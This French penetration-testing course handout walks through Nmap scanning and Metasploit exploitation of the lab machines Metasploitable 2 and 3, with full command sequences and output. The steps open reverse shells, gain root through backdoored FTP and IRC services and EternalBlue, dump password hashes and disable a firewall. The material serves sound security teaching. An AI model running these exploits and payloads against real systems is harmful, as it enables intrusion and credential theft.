
TP test d'intrusion

Reconnaissance avec Nmap et utilisation de Metasploit

Olivier LASNE - olivier@lasne.pro

2020-11-29

Introduction

Dans ce TP, nous allons voir comment utiliser Nmap pour découvrir services présents sur une machine, et récupérer leur version.

Nous verrons aussi comment vérifier si il existe un exploit pour la version utiliser, et comment exploiter une vulnérabilité avec le framework Metasploit.

Nmap

Nmap est un scanner réseau, il peut être utiliser à la fois pour découvrir les machines présentes sur un réseau, et pour lister les services (et leur version) d'une machine.

Nmap a de nombreuses options, nous ne les détaillerons pas toutes ici.

Scan basique

Si on lui donne une IP en paramètre, nmap va simplement effectuer un scan de port TCP, et lister les ports ouverts.

Exemple avec Metasploitable :

```
1 $ nmap 192.168.56.210
2 Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-14 18:46 CET
3 Nmap scan report for vulnerable (192.168.56.210)
4 Host is up (0.00050s latency).
5 Not shown: 976 closed ports
6 PORT      STATE SERVICE
7 21/tcp    open  ftp
8 22/tcp    open  ssh
9 80/tcp    open  http
10 135/tcp   open  msrpc
11 139/tcp   open  netbios-ssn
12 445/tcp   open  microsoft-ds
13 3306/tcp  open  mysql
14 3389/tcp  open  ms-wbt-server
15 4848/tcp  open  appserv-http
16 7676/tcp  open  imqbrokerd
17 8009/tcp  open  ajp13
18 8022/tcp  open  oa-system
19 8031/tcp  open  unknown
20 8080/tcp  open  http-proxy
21 8181/tcp  open  intermapper
22 8383/tcp  open  m2mservices
23 8443/tcp  open  https-alt
```

```
24 9200/tcp open wap-wsp
25 49152/tcp open unknown
26 49153/tcp open unknown
27 49154/tcp open unknown
28 49157/tcp open unknown
29 49158/tcp open unknown
30 49161/tcp open unknown
31
32 Nmap done: 1 IP address (1 host up) scanned in 1.70 seconds
```

Découvrir les machines présentes sur un réseau

Ping scan

Pour découvrir rapidement les machines présentes sur le réseau, on peut faire simplement un ping scan :

```
1 nmap -sn 10.11.1.1-254
```

Top ports

Néanmoins, un certain nombre de machines sont configurés pour ne pas répondre aux ping. On peut choisir de scanner uniquement les ports les plus communs

```
1 nmap 10.11.1.1/24 -Pn --top-ports 10 --open -sS
```

-Pn : scan les ports même si la machine ne réponds pas aux pings.

--top-ports xx : scan uniquement les **xx** ports les plus communs.

--open : dans la sortie indique uniquement les ports ouverts.

-sS : **syn** scan, effectue seulement la 1ère partie du handshake TCP et est donc plus rapide. Peut-être également plus discret, mais est généralement détecté aujourd'hui.

Enregistrer les résultats

Nmap support 3 formats d'enregistrement

-oN : format texte classique. Identique à la sortie de la console.

-oG : *grepable nmap*, optimisé pour une recherche dans les résultats avec **grep**

-oX : format xml. Peut permettre de **reprendre un scan interrompu**, et l'importation des résultats dans certains outils comme **Metasploit**.

Scanner une machine

Une fois notre cible définie, on va chercher à avoir un maximum d'information.

Options communes

Avant d'attaquer une machine, on va généralement effectuer un **scan TCP complet** avec les options suivantes :

```
1 nmap -sV -sC -O -p- 192.168.56.210 -oN full.nmap
```

-p- va indiquer que l'on liste absolument tous les ports

-sV indique que l'on veut récupérer les informations de version

-sC indique que l'on lance les *scripts nmap* de récupération d'information qui n'ont pas d'effet de bord

-O signifie que nmap va essayer de détecter la version du système d'exploitation présent en face.

-oN écrit les résultats dans le fichier `full.nmap`

On réalise généralement un **1er scan de port** sans l'option **-p-** de façon à avoir uniquement les 1000 ports les plus fréquents. Et dans un second temps un scan avec tous les ports.

Scan UDP

Un scan UDP peut être (très) long. Néanmoins, il est généralement intéressant d'effectuer un scan au moins des ports les plus fréquents.

```
1 nmap -sU 192.168.56.210 -oN udp.nmap
```

Scripts Nmap

Nmap a la possibilité d'**exécuter des scripts**. Les scripts sont stockés dans le dossier `/usr/share/nmap/scripts`

Lister les scripts en lien avec SMB :

```
1 ls /usr/share/nmap/scripts | grep smb
```

On peut obtenir de l'**aide** sur un **script** de la façon suivante :

```
1 $ nmap --script-help=smb-os-discovery.nse
2 Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-29 11:21 EST
3
4 smb-os-discovery
```

```
5 Categories: default discovery safe
6 https://nmap.org/nsedoc/scripts/smb-os-discovery.html
7 Attempts to determine the operating system, computer name, domain,
  workgroup, and current
8 time over the SMB protocol (ports 445 or 139).
9 This is done by starting a session with the anonymous
10 account (or with a proper user account, if one is given; it likely
  doesn't make
11 a difference); in response to a session starting, the server will
  send back all this
12 information.
13
14 The following fields may be included in the output, depending on the
15 circumstances (e.g. the workgroup name is mutually exclusive with
  domain and forest
16 names) and the information available:
17 * OS
18 * Computer name
19 [...]
```

!/ Attention : par défaut un pare-feu filtre le SMB sur Metasploitable 3. On peut le désactiver avec la commande suivante :

```
1 netsh advfirewall set allprofile state off
```

Un **script nmap** est exécuté de la façon suivante :

```
1 $ nmap --script=smb-os-discovery.nse 192.168.56.210 -p139,445
2 Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-14 18:53 CET
3 Nmap scan report for vulnerable (192.168.56.210)
4 Host is up (0.00033s latency).
5
6 PORT      STATE SERVICE
7 139/tcp   open  netbios-ssn
8 445/tcp   open  microsoft-ds
9
10 Host script results:
11 | smb-os-discovery:
12 |   OS: Windows Server 2008 R2 Standard 7601 Service Pack 1 (Windows
  Server 2008 R2 Standard 6.1)
13 |   OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
14 |   Computer name: metasploitable3-win2k8
15 |   NetBIOS computer name: METASPLOITABLE3\x00
16 |   Workgroup: WORKGROUP\x00
17 |_  System time: 2020-12-14T09:53:16-08:00
18
19 Nmap done: 1 IP address (1 host up) scanned in 0.38 seconds
```

Utilisation d'exploit

Dans le cadre d'un test d'intrusion, on va chercher à savoir s'il existe une vulnérabilité pour une des versions utilisées. À la fois sur des sites comme cvedetails.com, et directement sur des moteurs de recherche.

Dans notre cas, on va chercher directement à voir s'il existe **un exploit**. C'est à dire un script exploitant la vulnérabilité.

Exploit-DB

Le site de référence pour les exploits publics est **exploit-db.com**.

On peut effectuer des recherches directement sur l'interface web, mais il existe sous kali directement un outil en ligne de commande : **searchsploit**.

```
1 $ searchsploit vsftpd
2 -----
3 Exploit Title | Path
4 -----
5 vsftpd 2.0.5 - 'CWD' (Authenticated) Remote M | linux/dos/5814.pl
6 vsftpd 2.0.5 - 'deny_file' Option Remote Deni | windows/dos/31818.sh
7 vsftpd 2.0.5 - 'deny_file' Option Remote Deni | windows/dos/31819.pl
8 vsftpd 2.3.2 - Denial of Service | linux/dos/16270.c
9 vsftpd 2.3.4 - Backdoor Command Execution (Me | unix/remote/17491.rb
10 -----
```

On peut utiliser l'option **-u** pour mettre à jour la base de données. `searchsploit -u`

L'option **-x** pour voir le détail d'un exploit. `searchsploit -x unix/remote/17491.rb`.

Et l'option **-m** pour en faire une copie dans le dossier courant. `searchsploit -m unix/remote/17491.rb`

Il n'y a pas d'unité sur la façon dont ces scripts sont écrits, et il est souvent nécessaire de les adapter.

Convertir un fichier au format CRLF

Il est parfois nécessaire de convertir les fichiers écrit sous Windows (convention CRLF). Pour cela on peut simplement utiliser l'outil `dos2unix`.

```
1 $ file 31819.pl
2 31819.pl: ASCII text, with CRLF line terminators
3
4 $ dos2unix 31819.pl
```

```
5 dos2unix: converting file 31819.pl to Unix format...
6
7 $ file 31819.pl
8 31819.pl: ASCII text
```

Metasploit

Metasploit est un **framework d'attaque**. Il intègre un nombre important d'**exploits** et de **payloads** et permet de les utiliser de façon unifiée.

Il intègre notamment des exploits très complexes comme ceux pour la vulnérabilité **MS17-010**.

Son intérêt réside aussi dans le shell **meterpreter** et les nombreux modules de **post-exploitation** qu'il intègre.

Démarrer la base de données

Metasploit utilise une base de données postgresql. Avant d'utiliser le framework il est nécessaire de démarrer la base de données avec la commande **msfdb run**.

L'état de la base de données peut être vérifiée avec **msfdb status**.

Msfconsole

On lance le framework avec la commande **msfconsole**.

```
1 $ msfconsole
2 IIIIII dTb.dTb
3  II  4'  v  'B  . '"".'/'\.'"".'
4  II  6.      .P  : .'. / \ \.' :
5  II  'T;. .;P'  \.' / \ \.' :
6  II  'T; ;P'   \.' / \ \.' :
7 IIIIII  'YvP'   \.' / \ \.' :
8
9 I love shells --egypt
10
11
12      =[ metasploit v6.0.17-dev                      ]
13 + -- --=[ 2076 exploits - 1124 auxiliary - 352 post   ]
14 + -- --=[ 592 payloads - 45 encoders - 10 nops      ]
15 + -- --=[ 7 evasion                                   ]
16
17 Metasploit tip: You can use help to view all available commands
18
19 msf6 >
```

Pour obtenir de l'aide, il existe la commande `help`, ainsi que l'option `-h` les différentes commandes.

À noter que metasploit supporte aussi l'autocomplétion avec **Tab**.

Metasploit a 4 catégories de modules principaux :

- auxiliary
- exploits
- payloads
- post

Exploit : La collection d'exploit de Metasploit. Ils sont classés par architecture de la cible, et protocole.

Auxiliary : Va contenir les scanners, fuzzeurs, sniffer, etc.

Payload, Encoders, Nops : Ensemble de charges malveillantes, et les encodeurs nécessaires pour qu'il atteignent leur destination intacts.

Post : Ensemble de modules qui aident à la phase de post-exploitation.

Rechercher un exploit / module

On peut utiliser la commande `search` pour chercher un module.

```
1 msf6 > search proftp
2
3 Matching Modules
4 =====
5
6 #   Name                                     Disclosure Date
7   Rank      Check  Description
8   ----      -
9
10 0   exploit/freebsd/ftp/proftp_telnet_iac      2010-11-01
    great      Yes   ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer
    Overflow (FreeBSD)
9   1   exploit/linux/ftp/proftp_sreplace          2006-11-26
    great      Yes   ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (
    Linux)
10  2   exploit/linux/ftp/proftp_telnet_iac      2010-11-01
    great      Yes   ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer
    Overflow (Linux)
```



```

11      3  exploit/linux/misc/netsupport_manager_agent  2011-01-08
          average      No      NetSupport Manager Agent Remote Buffer Overflow
12      4  exploit/unix/ftp/proftpd_133c_backdoor      2010-12-02
          excellent    No      ProFTPD-1.3.3c Backdoor Command Execution
13      5  exploit/unix/ftp/proftpd_modcopy_exec      2015-04-22
          excellent    Yes     ProFTPD 1.3.5 Mod_Copy Command Execution
14      6  exploit/windows/ftp/proftp_banner          2009-08-25
          normal       No      ProFTP 2.9 Banner Remote Buffer Overflow
15
16
17  Interact with a module by name or index. For example info 6, use 6 or
    use exploit/windows/ftp/proftp_banner

```

Utiliser un module

Pour utiliser un module on utilise la commande `use`.

```

1  msf6 > use exploit/unix/ftp/proftpd_133c_backdoor
2  msf6 exploit(unix/ftp/proftpd_133c_backdoor) >

```

Obtenir des infos

On utilise la commande `show info` pour obtenir des informations sur un module.

Pour lister les options d'un module, on utilise `show options`.

```

1  msf6 exploit(unix/ftp/proftpd_133c_backdoor) > options
2
3  Module options (exploit/unix/ftp/proftpd_133c_backdoor):
4
5      Name      Current Setting  Required  Description
6      ----      -
7      RHOSTS    192.168.3.173   yes       The target host(s), range CIDR
          identifier, or hosts file with syntax 'file:<path>'
8      RPORT     21              yes       The target port (TCP)
9
10
11  Exploit target:
12
13      Id  Name
14      --  ---
15      0   Automatic

```

Les principales options sont **RHOSTS** qui contient l'IP de la machine cible, et **RPORT** qui indique le port où tourne le service cible.

Les options se configurent avec la commande `set` :

```
1 msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set RHOSTS 192.168.3.173
2 RHOSTS => 192.168.3.173
```

Choix du payloads

Les **payloads compatibles** peuvent être listés avec la commande `show payloads`. Si compatible, on choisira généralement `windows/meterpreter/reverse_tcp`, `linux/x86/meterpreter/reverse_tcp` ou `linux/x64/meterpreter/reverse_tcp`.

Pour sélectionner un payload, on utilisera de la même façon la commande `set`.

```
1 msf6 exploit(windows/smb/ms17_010_psexec) > set payload windows/
  meterpreter/reverse_tcp
2 payload => windows/meterpreter/reverse_tcp
```

Une fois le **payload** définit. Il est souvent nécessaire de le configurer en définissant **LHOST** (adresse à laquelle le payload vient se connecter).

On le configure de la même manière que RHOSTS avec la commande `set`.

```
1 msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST 192.168.56.101
2 LHOST => 192.168.56.101
```

Une fois qu'un payload a été définit. Ses **options** apparaissent également dans la sortie de la commande `options`.

```
1 msf6 exploit(windows/smb/ms17_010_psexec) > options
2 [...]
3
4 Payload options (windows/meterpreter/reverse_tcp):
5
6   Name      Current Setting  Required  Description
7   ----      -
8   EXITFUNC  thread          yes       Exit technique (Accepted: '',
9   seh, thread, process, none)
10  LHOST      192.168.56.101  yes       The listen address (an
   interface may be specified)
10  LPORT      4444            yes       The listen port
```

Executer un exploit

Sur les exploits qui le supportent, on peut utiliser la commande `check` pour vérifier si la cible est vulnérable.

```
1 msf6 exploit(windows/smb/ms17_010_psexec) > check
2
3 [*] 172.16.237.130:445 - Using auxiliary/scanner/smb/smb_ms17_010 as
  check
4 [-] 172.16.237.130:445 - Host does NOT appear vulnerable.
5 [*] 172.16.237.130:445 - Scanned 1 of 1 hosts (100% complete)
6 [*] 172.16.237.130:445 - Cannot reliably check exploitability.
```

Finalement, on utilise la commande `run` pour exécuter l'exploit.

```
1 msf6 exploit(unix/ftp/proftpd_133c_backdoor) > run
2
3 [*] Started reverse TCP double handler on 192.168.3.8:4444
4 [*] 192.168.3.173:21 - Sending Backdoor Command
5 [*] Accepted the first client connection...
6 [*] Accepted the second client connection...
7 [*] Command: echo FcjmId852usWprlr;
8 [*] Writing to socket A
9 [*] Writing to socket B
10 [*] Reading from sockets...
11 [*] Reading from socket A
12 [*] A: "FcjmId852usWprlr\r\n"
13 [*] Matching...
14 [*] B is input...
15 [*] Command shell session 1 opened (192.168.3.8:4444 ->
    192.168.3.173:42450) at 2021-01-25 15:55:09 +0100
16
17 id
18 uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
```

Améliorer son Shell

Lorsque l'on obtient un shell un peu minimaliste à travers un exploit. On peut utiliser la commande suivante pour avoir un shell un peu plus classe.

```
1 python -c "import pty;pty.spawn('/bin/bash')"
```

(Il est parfois nécessaire de préciser la version de python : `python2` ou `python3`).

Les sessions

Un shell ou **session** peut être mis en arrière plan avec la commande `background` ou le raccourci `Ctrl + Z`.

On peut lister les sessions avec la commande `sessions`.

```

1 msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions
2
3 Active sessions
4 =====
5
6  Id   Name   Type           Information   Connection
7  --   ----   ---           -
8  1      shell cmd/unix           0.0.0.0:0 ->
      172.16.237.130:6200 (172.16.237.130)

```

On peut récupérer une session interactive avec la commande `session -i`.

```

1 msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions -i 1
2 [*] Starting interaction with 1...
3
4 whoami
5 root

```

Passer à un Shell Meterpreter

```

1 msf6 post(linux/gather/hashdump) > use post/multi/manage/
  shell_to_meterpreter
2 msf6 post(multi/manage/shell_to_meterpreter) > info
3
4     Name: Shell to Meterpreter Upgrade
5     Module: post/multi/manage/shell_to_meterpreter
6     Platform: Linux, OSX, Unix, Solaris, BSD, Windows
7     Arch:
8     Rank: Normal
9
10    Provided by:
11    Tom Sellers <tom@fadedcode.net>
12
13    Compatible session types:
14    Shell
15
16    Basic options:
17    Name      Current Setting  Required  Description
18    ----      -
19    HANDLER   true             yes       Start an exploit/multi/handler to
      receive the connection
20    LHOST      LHOST            no        IP of host that will receive the
      connection from the payload (Will try to auto detect).
21    LPORT     4433             yes       Port for payload to connect to.
22    SESSION   SESSION          yes       The session to run this module on
      .
23
24    Description:

```

```
25 This module attempts to upgrade a command shell to meterpreter. The
26 shell platform is automatically detected and the best version of
27 meterpreter for the target is selected. Currently
28 meterpreter/reverse_tcp is used on Windows and Linux, with
29 'python/meterpreter/reverse_tcp' used on all others.
30
31 msf6 post(multi/manage/shell_to_meterpreter) > set LHOST 192.168.3.8
32 LHOST => 192.168.3.8
33 msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 2
34 SESSION => 2
35 msf6 post(multi/manage/shell_to_meterpreter) > run
36
37 [*] Upgrading session ID: 2
38 [*] Starting exploit/multi/handler
39 [*] Started reverse TCP handler on 192.168.3.8:4433
40 [*] Sending stage (976712 bytes) to 192.168.3.173
41 [*] Meterpreter session 3 opened (192.168.3.8:4433 ->
    192.168.3.173:48406) at 2021-01-25 16:11:34 +0100
```

Utiliser le module hashdump

```
1 msf6 post(multi/manage/shell_to_meterpreter) > use post/linux/gather/
  hashdump
2 msf6 post(linux/gather/hashdump) > info
3
4     Name: Linux Gather Dump Password Hashes for Linux Systems
5     Module: post/linux/gather/hashdump
6     Platform: Linux
7     Arch:
8     Rank: Normal
9
10    Provided by:
11    Carlos Perez <carlos_perez@darkoperator.com>
12
13    Compatible session types:
14    Meterpreter
15    Shell
16
17    Basic options:
18    Name      Current Setting  Required  Description
19    ----      -
20    SESSION   2                yes       The session to run this module on
21    .
22
23    Description:
24    Post Module to dump the password hashes for all users on a Linux
25    System
26 msf6 post(linux/gather/hashdump) > set SESSION 3
```

```
27 SESSION => 3
28 msf6 post(linux/gather/hashdump) > run
29
30 [+] marlinspike:$6$wQb5nV3T$xB2W0/j0kbn4t1RUIlrckw69LR/0
    EMtUbFFCYpM3MUHVmtY9.ov/aszTpWhLaC2x6Fvy5tpUUxQbUhCKbl4
    /:1000:1000:marlinspike,,,:/home/marlinspike:/bin/bash
31 [+] Unshadowed Password File: /home/kali/.msf4/loot/20210125161302
    _default_192.168.3.173_linux.hashes_892766.txt
32 [*] Post module execution completed
```

Exercice :

1. Utiliser l'exploit **vsftpd** pour obtenir un shell sur Metasploitable
2. Utiliser un autre exploit pour obtenir un shell.

Exploitation de Metasploitable 3

Si vous avez installé vous même la machine :

Compte admin sur la machine : **vagrant:vagrant**

Le clavier est en qwerty.

Scan de ports

Comme toujours on commence par un scan de ports :

```
1 nmap -sV -sC 192.168.56.7 -oN nmap/inital.nmap
2
3 nmap -sV -sC -p- 192.168.56.7 -oA nmap/full.nmap
```

Eternal Blue

On a le port 445 qui est ouvert. On peut vérifier si la machine est vulnérable a **Eternal Blue (MS17-010)** avec un **script nmap**.

```
1 $ ls /usr/share/nmap/scripts | grep smb
2 ...
3 smb-vuln-ms17-010.nse
4 ...
```

La machine semble être vulnérable :

```

1 $ nmap --script=smb-vuln-ms17-010.nse -p 445 192.168.56.7
2 Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-17 09:53 CET
3 Nmap scan report for 192.168.56.7
4 Host is up (0.00028s latency).
5
6 PORT      STATE SERVICE
7 445/tcp   open  microsoft-ds
8
9 Host script results:
10 | smb-vuln-ms17-010:
11 |   VULNERABLE:
12 |     Remote Code Execution vulnerability in Microsoft SMBv1 servers (
13 |       ms17-010)
14 |       State: VULNERABLE
15 |       IDs:   CVE:CVE-2017-0143
16 |       Risk factor: HIGH
17 |       A critical remote code execution vulnerability exists in
18 |       Microsoft SMBv1
19 |       servers (ms17-010).
20 |       Disclosure date: 2017-03-14
21 |       References:
22 |         https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
23 |         https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
24 |         https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
25 Nmap done: 1 IP address (1 host up) scanned in 1.10 seconds

```

On peut utiliser un exploit Metasploit pour exploiter la vulnérabilité.

Exploit windows/smb/ms17_010_psexec est noté Excellent, il est fiable mais nécessite un named pipe.

Or `smbmap` nous indique qu'il n'y a pas de pipe accessible :

```

1 $ smbmap -H 192.168.56.7
2 [+] IP: 192.168.56.7:445      Name: 192.168.56.7

```

On peut donc se rabattre sur `windows/smb/ms17_010_eternalblue`.

```

1 msf6 exploit(windows/smb/ms17_010_eternalblue) > options
2
3 Module options (exploit/windows/smb/ms17_010_eternalblue):
4
5   Name          Current Setting  Required  Description
6   ----          -
7   RHOSTS        192.168.56.7    yes       The target host(s), range

```

```

      CIDR identifier, or hosts file with syntax 'file:<path>'
 8  RPORT          445          yes      The target port (TCP)
 9  SMBDomain      .          no        (Optional) The Windows
      domain to use for authentication
10  SMBPass                no        (Optional) The password
      for the specified username
11  SMBUser                no        (Optional) The username to
      authenticate as
12  VERIFY_ARCH    true        yes      Check if remote
      architecture matches exploit Target.
13  VERIFY_TARGET  true        yes      Check if remote OS matches
      exploit Target.
14
15
16  Payload options (windows/x64/meterpreter/reverse_tcp):
17
18  Name          Current Setting  Required  Description
19  ----          -
20  EXITFUNC      thread          yes       Exit technique (Accepted: '',
      seh, thread, process, none)
21  LHOST         192.168.56.5      yes       The listen address (an
      interface may be specified)
22  LPORT         4444          yes       The listen port
23
24
25  Exploit target:
26
27  Id  Name
28  --  ---
29  0   Windows 7 and Server 2008 R2 (x64) All Service Packs

```

Et on peut obtenir un shell avec la commande `exploit`. À noter que l'exploit n'est pas particulièrement fiable.

Elastic Search

En se connectant au port 9200, on peut identifier qu'il s'agit d'un elasticsearch en cherchant sur internet avec le

- build_hash
- lucene version

La version indiquée est la 1.1.1. Il existe un exploit metasploit pour cette version.

```

1  msf6 exploit(multi/elasticsearch/script_mvel_rce) > use exploit/multi/
   elasticsearch/script_mvel_rce
2  [*] Using configured payload java/meterpreter/reverse_tcp

```


On prend soin de configurer les options correctement

```

1  msf6 exploit(multi/elasticsearch/script_mvel_rce) > options
2
3  Module options (exploit/multi/elasticsearch/script_mvel_rce):
4
5      Name          Current Setting  Required  Description
6      ----          -
7      Proxies                no          A proxy chain of format type
8          :host:port[,type:host:port][...]
9      RHOSTS      192.168.56.7    yes        The target host(s), range
10         CIDR identifier, or hosts file with syntax 'file:<path>'
11      RPORT      9200           yes        The target port (TCP)
12      SSL        false         no         Negotiate SSL/TLS for
13         outgoing connections
14      TARGETURI    /              yes        The path to the
15         Elasticsearch REST API
16      VHOST                no          HTTP server virtual host
17      WritableDir  /tmp           yes        A directory where we can
18         write files (only for *nix environments)
19
20 Payload options (java/meterpreter/reverse_tcp):
21
22      Name    Current Setting  Required  Description
23      ----    -
24      LHOST    192.168.56.5    yes        The listen address (an interface
25         may be specified)
26      LPORT    4785            yes        The listen port
27
28 Exploit target:
29
30      Id  Name
31      --  ---
32      0   Elasticsearch 1.1.1 / Automatic

```

La commande `run` va nous obtenir un shell sur la machine distante.

Exercice : Exploitez par vous-même la vulnérabilité sur : 1. Jenkins 2. Tomcat

Metasploitable 2

Exercice :

Commencer par le **ftp** et **ircd**.

Nmap

On commence par un scan **nmap**.

```
1 # Nmap 7.80 scan initiated Tue Jan 26 09:21:25 2021 as: nmap -sV -sC -O
  -p- -oN fullscan.nmap 192.168.56.115
2 Nmap scan report for 192.168.56.115
3 Host is up (0.0032s latency).
4 Not shown: 65505 closed ports
5 PORT      STATE SERVICE      VERSION
6 21/tcp    open  ftp          vsftpd 2.3.4
7 |_ftp-anon: Anonymous FTP login allowed (FTP code 230)
8 |_ftp-syst:
9 |_  STAT:
10 |_ FTP server status:
11 |_   Connected to 192.168.56.114
12 |_   Logged in as ftp
13 |_   TYPE: ASCII
14 |_   No session bandwidth limit
15 |_   Session timeout in seconds is 300
16 |_   Control connection is plain text
17 |_   Data connections will be plain text
18 |_   vsFTPd 2.3.4 - secure, fast, stable
19 |_End of status
20 22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol
    2.0)
21 |_ ssh-hostkey:
22 |_   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
23 |_   2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
24 23/tcp    open  telnet       Linux telnetd
25 25/tcp    open  smtp         Postfix smtpd
26 |_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000,
    VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
27 |_ssl-date: 2021-01-26T09:23:52+00:00; -1s from scanner time.
28 |_ sslv2:
29 |_   SSLv2 supported
30 |_   ciphers:
31 |_     SSL2_RC4_128_EXPORT40_WITH_MD5
32 |_     SSL2_DES_192_EDE3_CBC_WITH_MD5
33 |_     SSL2_RC2_128_CBC_WITH_MD5
34 |_     SSL2_RC4_128_WITH_MD5
35 |_     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
36 |_     SSL2_DES_64_CBC_WITH_MD5
```

```

37 53/tcp    open  domain      ISC BIND 9.4.2
38 | dns-nsid:
39 | _ bind.version: 9.4.2
40 80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
41 |_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
42 |_http-title: Metasploitable2 - Linux
43 111/tcp   open  rpcbind     2 (RPC #1000000)
44 139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
45 445/tcp   open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup:
    WORKGROUP)
46 512/tcp   open  exec        netkit-rsh rexecd
47 513/tcp   open  login
48 514/tcp   open  shell       Netkit rshd
49 1099/tcp  open  java-rmi    GNU Classpath grmiregistry
50 1524/tcp  open  bindshell   Metasploitable root shell
51 2049/tcp  open  nfs         2-4 (RPC #1000003)
52 2121/tcp  open  ftp         ProFTPD 1.3.1
53 3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
54 | mysql-info:
55 |   Protocol: 10
56 |   Version: 5.0.51a-3ubuntu5
57 |   Thread ID: 10
58 |   Capabilities flags: 43564
59 |   Some Capabilities: Support41Auth, SupportsCompression,
    SupportsTransactions, LongColumnFlag, SwitchToSSLAfterHandshake,
    Speaks41ProtocolNew, ConnectWithDatabase
60 |   Status: Autocommit
61 |_ Salt: &u=n4V4A+Q8beU[JAG}c
62 3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1
    ubuntu4))
63 5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
64 |_ssl-date: 2021-01-26T09:23:52+00:00; -1s from scanner time.
65 5900/tcp  open  vnc         VNC (protocol 3.3)
66 | vnc-info:
67 |   Protocol version: 3.3
68 |   Security types:
69 |_ VNC Authentication (2)
70 6000/tcp  open  X11         (access denied)
71 6667/tcp  open  irc         UnrealIRCd
72 6697/tcp  open  irc         UnrealIRCd
73 8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
74 |_ajp-methods: Failed to get a valid response for the OPTION request
75 8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
76 |_http-favicon: Apache Tomcat
77 |_http-server-header: Apache-Coyote/1.1
78 |_http-title: Apache Tomcat/5.5
79 8787/tcp  open  drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby
    /1.8/drdb)
80 35476/tcp open  java-rmi    GNU Classpath grmiregistry
81 39503/tcp open  mountd     1-3 (RPC #1000005)
82 47722/tcp open  nlockmgr   1-4 (RPC #100021)

```

```

83 58834/tcp open  status      1 (RPC #100024)
84 MAC Address: 08:00:27:83:DC:29 (Oracle VirtualBox virtual NIC)
85 Device type: general purpose
86 Running: Linux 2.6.X
87 OS CPE: cpe:/o:linux:linux_kernel:2.6
88 OS details: Linux 2.6.9 - 2.6.33
89 Network Distance: 1 hop
90 Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.
    LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
91
92 Host script results:
93 |_clock-skew: mean: 1h14m59s, deviation: 2h30m01s, median: -1s
94 |_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>,
    NetBIOS MAC: <unknown> (unknown)
95 | smb-os-discovery:
96 |   OS: Unix (Samba 3.0.20-Debian)
97 |   Computer name: metasploitable
98 |   NetBIOS computer name:
99 |   Domain name: localdomain
100 |   FQDN: metasploitable.localdomain
101 |_ System time: 2021-01-26T04:23:43-05:00
102 | smb-security-mode:
103 |   account_used: <blank>
104 |   authentication_level: user
105 |   challenge_response: supported
106 |_ message_signing: disabled (dangerous, but default)
107 |_smb2-time: Protocol negotiation failed (SMB2)
108
109 OS and Service detection performed. Please report any incorrect results
    at https://nmap.org/submit/ .
110 # Nmap done at Tue Jan 26 09:25:07 2021 -- 1 IP address (1 host up)
    scanned in 222.17 seconds

```

IRC

On voit avec le scan nmap que l'on a un UnrealIRCd.

```

1 6667/tcp open  irc      UnrealIRCd

```

La version n'est pas indiquée, mais on peut regarder s'il existe un exploit.

```

1 $searchsploit unrealirc
2 -----
3 Exploit Title                                     | Path
4 -----
5 UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit | linux/
    remote/16922.rb

```

```

6 UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow | windows/
  dos/18011.txt
7 UnrealIRCd 3.2.8.1 - Remote Downloader/Execute | linux/
  remote/13853.pl
8 UnrealIRCd 3.x - Remote Denial of Service | windows/
  dos/27407.pl
9 -----
10 Shellcodes: No Results

```

Il existe plusieurs exploits pour la version 3.2.8.1.

On lance metasploit avec `sudo msfdb run`.

On peut ensuite recherche l'exploit avec la commande `search`. On peut ensuite le selectionner avec `use`.

```

1 msf6 > search unrealirc
2
3 Matching Modules
4 =====
5
6 #   Name                                     Disclosure Date   Rank
7 -   - - - - -                               - - - - -
8 0   exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12
    excellent No      UnrealIRCD 3.2.8.1 Backdoor Command Execution
9
10 msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) >

```

On peut utiliser la commande `info` pour en savoir un peut plus sur l'exploit.

`options` nous indique qu'il faut définir une IP distante et un port. On définit l'IP distante avec `set`

```

1 msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > options
2
3 Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
4
5 Name      Current Setting  Required  Description
6 ----      -
7 RHOSTS    identifier, or hosts file with syntax 'file:<path>'
8 RPORT     6667             yes       The target port (TCP)
9
10
11 Exploit target:
12
13 Id  Name
14 --  -
15 0   Automatic Target

```

```

16
17
